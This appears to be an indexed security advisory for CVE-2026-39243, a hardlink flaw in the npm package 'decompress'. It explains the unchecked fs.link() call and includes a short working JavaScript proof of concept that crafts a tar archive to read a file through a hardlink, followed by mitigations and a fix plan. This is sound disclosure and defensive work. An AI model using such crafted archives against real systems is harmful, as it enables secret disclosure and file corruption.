[CVE-2026-39243] Arbitrary hardlink creation during extraction → file read disclosure & corruption
- Dominant language
- JavaScript
- Stars
- 419
- Forks
- 55
- PR merge metrics
- No merged PRs in 30d
Description
## Summary
`decompress` (<= 4.2.1) creates hardlinks from archive entries without validating the link target against the extraction directory. A crafted archive with a `link` entry whose `linkname` is an absolute path lets an attacker hardlink any file on the same filesystem into the output directory, enabling **information disclosure** (reading the target's contents) and **file corruption** (overwriting it through the link).
- **CVE:** CVE-2026-39243
- **CWE:** CWE-59 (Improper Link Resolution Before File Access)
- **Affected versions:** decompress <= 4.2.1
- **Fixed:** no fix released yet
- **Attack vector:** remote (crafted archive), no authentication required
## Affected component
`index.js` (lines ~112-113):
fsP.link(x.linkname, dest)
The `x.linkname` value from the archive is passed directly to `fs.link()` with no containment check.
## Impact
An application that extracts an untrusted archive and later reads/serves the extracted files will disclose the contents of the linked target (secrets, config, private keys, source). Writing to the extracted file corrupts the original. Hardlinks cannot cross filesystems or target directories, but on typical deployments `/tmp` and app directories share a filesystem.
## Proof of concept
```js
const decompress = require('decompress');
const tar = require('tar-stream');
const fs = require('fs');
fs.writeFileSync('/tmp/secret.txt', 'TOP SECRET CONTENT');
const pack = tar.pack();
pack.entry({ name: 'leak', type: 'link', linkname: '/tmp/secret.txt' });
pack.finalize();
const chunks = [];
pack.on('data', c => chunks.push(c));
pack.on('end', async () => {
await decompress(Buffer.concat(chunks), '/tmp/out');
// Reads the secret through the hardlink:
console.log(fs.readFileSync('/tmp/out/leak', 'utf8')); // -> TOP SECRET CONTENT
// Overwriting /tmp/out/leak also corrupts /tmp/secret.txt (same inode)
});
```
Mitigation
- Do not extract untrusted archives with this package.
- Resolve the link target and reject any entry that resolves outside the output directory (using a path-separator boundary check, not indexOf).
Reported by Daniel Pua (devploit).
Contributor guide
No contributing guide indexed for this repository
Research direction
Start in index.js around lines 112–113, where the archive link entry's linkname is passed to fs.link(). Reproduce the provided tar-stream proof of concept in a controlled temporary directory, then trace the extraction behavior for absolute and outside-directory targets. Done means unsafe hardlink targets are rejected without enabling disclosure or corruption, with the existing extraction behavior preserved for safe entries.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- javascript, node.js
- Domain
- security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 68/100